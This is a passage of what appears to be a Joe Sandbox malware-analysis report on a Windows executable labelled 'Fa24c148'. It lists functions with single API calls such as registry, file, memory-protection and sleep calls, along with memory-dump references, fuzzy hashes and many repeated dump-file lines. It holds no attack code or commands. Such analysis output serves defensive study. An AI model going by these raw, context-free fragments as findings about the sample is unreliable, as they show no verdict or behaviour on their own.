Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: b52732b034676bd900c8dd09e9d96c0449bda3180a08bab671966732f7de0c2e
Instruction ID: 083101987cfc82a6cf42c11d2d972b8aec6ba2fd7aec0dc483d5015516fa3923
Opcode Fuzzy Hash: b52732b034676bd900c8dd09e9d96c0449bda3180a08bab671966732f7de0c2e
Instruction Fuzzy Hash: A7F0B431A08220B3CB10ABB55F4DE8F62A89B6132DF34477BB512B21D1D6BC8901956F

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction ID: b4a940ff9d96c873bdf480266a19e34540b316432bd0f5e01798d68014561859
Opcode Fuzzy Hash: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction Fuzzy Hash: 89E0BF76254108BAD700EFA5DD46F9677ECEB14745F008425B609D6091C674E5508768

Function 00405A66 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: 68b9e35a43bd0b01ba0fc1ca952cb594bc8cf903dff1417d3183e578cb5b5c3a
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 53E0EC3261425AEFDF50AEA59C44AEB7B6CFB053A0F004433FD15E7190D231E9219FA9

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2a616e06c792cf265676b57026b4e4a9577b39f593b79c63b522db00f6807e26
Instruction ID: 3a008f1eb1b1242b40efb84196f5f05472ca672afc8891d9c26caab598a60342
Opcode Fuzzy Hash: 2a616e06c792cf265676b57026b4e4a9577b39f593b79c63b522db00f6807e26
Instruction Fuzzy Hash: 88D012B2B08100D7CB10DFE5AA08ADDB7659B10339F304A77D101F21D0D2B8C5419A2A

Function 00404008 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a4d713ec37b01fb01d6fe416f7f1015fc8604d13c1c7eace86c6fa01d5da54e1
Instruction ID: 7e6010ae37c62f63916f0126c22991c2454b69940bf40bafb173ceb87b5e62a9
Opcode Fuzzy Hash: a4d713ec37b01fb01d6fe416f7f1015fc8604d13c1c7eace86c6fa01d5da54e1
Instruction Fuzzy Hash: 14C04C717443007AEA308B60AD45F2A7754A758701F5444697300B50D0C674E411D61D

Function 00403FF1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403E1D), ref: 00403FFF

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction ID: 784fd17e5df65fd1e582592ff515389eb2153c2e002f91b2ba79ebddce7a884a
Opcode Fuzzy Hash: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction Fuzzy Hash: D6B09235685201BAEA214B00ED09F957A62A768701F008464B300240B0C6B248A2DB09

Function 004031B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F30,?,?,?,?,00000000,00403425,?), ref: 004031C2

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 00403FDE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403DB6), ref: 00403FE8

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 2acc807be0ba679717be6b01d9f42da513ad5f0c2234181876513f9ebcad2aad
Instruction ID: b1b9a75aa143e31e8517bedffcdc50d49ca7046a294c6db3a10a508eb0cd57f7
Opcode Fuzzy Hash: 2acc807be0ba679717be6b01d9f42da513ad5f0c2234181876513f9ebcad2aad
Instruction Fuzzy Hash: 31A01132808000ABCA028B80EF08C0ABB22BBB0300B008838B208808308A320820EB0E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6917fec6ffc34fff1feb0dbf9c249be8de4da10d42883fba5183095b7f77083d
Instruction ID: ca840a0cce859b8ae2bc82a563140a091be244092cc4fcaf6916384ea8909f5f
Opcode Fuzzy Hash: 6917fec6ffc34fff1feb0dbf9c249be8de4da10d42883fba5183095b7f77083d
